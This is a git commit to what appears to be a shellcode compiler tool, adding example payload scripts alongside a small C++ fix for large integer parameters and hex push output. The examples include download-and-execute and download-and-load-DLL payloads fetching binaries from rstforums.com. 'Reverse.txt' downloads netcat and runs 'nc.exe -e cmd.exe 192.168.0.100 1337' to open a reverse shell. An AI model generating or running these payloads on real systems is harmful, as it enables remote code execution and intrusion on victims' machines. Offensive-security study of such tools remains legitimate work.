A few examples

NytroRST · NytroRST · commit 69d67afa4d51 · 2016-10-28T13:37:56.000+03:00
Also fixed a bug (large integer)
diff --git a/Examples/DaE.txt b/Examples/DaE.txt
@@ -0,0 +1,9 @@
+
+function URLDownloadToFileA("urlmon.dll");
+function WinExec("kernel32.dll");
+function ExitProcess("kernel32.dll");
+
+URLDownloadToFileA(0,"https://rstforums.com/fisiere/calc.exe","calc.exe",0,0);
+WinExec("calc.exe",0);
+ExitProcess(0);
+
diff --git a/Examples/DaL.txt b/Examples/DaL.txt
@@ -0,0 +1,7 @@
+function URLDownloadToFileA("urlmon.dll");
+function LoadLibraryA("kernel32.dll");
+function ExitProcess("kernel32.dll");
+
+URLDownloadToFileA(0,"https://rstforums.com/fisiere/DLLExample.dll","SC.dll",0,0);
+LoadLibraryA("SC.dll");
+ExitProcess(0);
diff --git a/Examples/File.txt b/Examples/File.txt
@@ -0,0 +1,8 @@
+
+function CopyFileA("kernel32.dll");
+function DeleteFileA("kernel32.dll");
+function ExitProcess("kernel32.dll");
+
+CopyFileA("C:\Windows\System32\calc.exe","C:\Users\Ionut\Desktop\calc.exe",0);
+DeleteFileA("C:\Users\Ionut\Desktop\Delete.txt");
+ExitProcess(0);
diff --git a/Examples/Reg.txt b/Examples/Reg.txt
@@ -0,0 +1,5 @@
+function RegSetKeyValueA("advapi32.dll");
+function ExitProcess("kernel32.dll");
+
+RegSetKeyValueA(2147483649,"Software\Microsoft\Notepad","Test",1,"Nytro",5);
+ExitProcess(0);
diff --git a/Examples/Reverse.txt b/Examples/Reverse.txt
@@ -0,0 +1,7 @@
+function URLDownloadToFileA("urlmon.dll");
+function WinExec("kernel32.dll");
+function ExitProcess("kernel32.dll");
+
+URLDownloadToFileA(0,"https://rstforums.com/fisiere/nc.exe","nc.exe",0,0);
+WinExec("nc.exe -e cmd.exe 192.168.0.100 1337",0);
+ExitProcess(0);
diff --git a/Release/ShellcodeCompiler.exe b/Release/ShellcodeCompiler.exe
diff --git a/ShellcodeCompiler/ShellcodeCompiler.cpp b/ShellcodeCompiler/ShellcodeCompiler.cpp
@@ -112,7 +112,7 @@ void AddFunctionCallIntParameter(string p_sIntParameter)
 {
 	Parameter Param;
 	Param.Type = PARAMETER_TYPE_INT;
-	Param.IntValue = stoi(p_sIntParameter);
+	Param.IntValue = (size_t)stoll(p_sIntParameter); 
 	AllFunctionCalls[AllFunctionCallsNr].Parameters.push_back(Param);
 }
 
@@ -408,6 +408,17 @@ size_t GetStringOffset(string p_sString)
 	return 0;
 }
 
+// Convert int to hex
+
+string IntToHexString(size_t p_iNumber)
+{
+	std::stringstream stream;
+	stream << std::hex << p_iNumber;
+	std::string result(stream.str());
+
+	return result;
+}
+
 // Generate a call to LoadLibrary("string")
 
 size_t NrBasesToStack = 0;
@@ -678,8 +689,8 @@ string GenerateFunctionCall(FunctionCall p_oFunctionCall)
 			}
 			else
 			{
-				sContent += "push ";
-				sContent += to_string(p_oFunctionCall.Parameters[i].IntValue);
+				sContent += "push 0x";
+				sContent += IntToHexString(p_oFunctionCall.Parameters[i].IntValue);
 				sContent += "\r\n";
 			}
 		}

Original file line number	Diff line number	Diff line change
`@@ -112,7 +112,7 @@ void AddFunctionCallIntParameter(string p_sIntParameter)`
`112`	`112`	`{`
`113`	`113`	`Parameter Param;`
`114`	`114`	`Param.Type = PARAMETER_TYPE_INT;`
`115`		`- Param.IntValue = stoi(p_sIntParameter);`
	`115`	`+ Param.IntValue = (size_t)stoll(p_sIntParameter);`
`116`	`116`	`AllFunctionCalls[AllFunctionCallsNr].Parameters.push_back(Param);`
`117`	`117`	`}`
`118`	`118`
`@@ -408,6 +408,17 @@ size_t GetStringOffset(string p_sString)`
`408`	`408`	`return 0;`
`409`	`409`	`}`
`410`	`410`
	`411`	`+// Convert int to hex`
	`412`	`+`
	`413`	`+string IntToHexString(size_t p_iNumber)`
	`414`	`+{`
	`415`	`+ std::stringstream stream;`
	`416`	`+ stream << std::hex << p_iNumber;`
	`417`	`+ std::string result(stream.str());`
	`418`	`+`
	`419`	`+ return result;`
	`420`	`+}`
	`421`	`+`
`411`	`422`	`// Generate a call to LoadLibrary("string")`
`412`	`423`
`413`	`424`	`size_t NrBasesToStack = 0;`
`@@ -678,8 +689,8 @@ string GenerateFunctionCall(FunctionCall p_oFunctionCall)`
`678`	`689`	`}`
`679`	`690`	`else`
`680`	`691`	`{`
`681`		`- sContent += "push ";`
`682`		`- sContent += to_string(p_oFunctionCall.Parameters[i].IntValue);`
	`692`	`+ sContent += "push 0x";`
	`693`	`+ sContent += IntToHexString(p_oFunctionCall.Parameters[i].IntValue);`
`683`	`694`	`sContent += "\r\n";`
`684`	`695`	`}`
`685`	`696`	`}`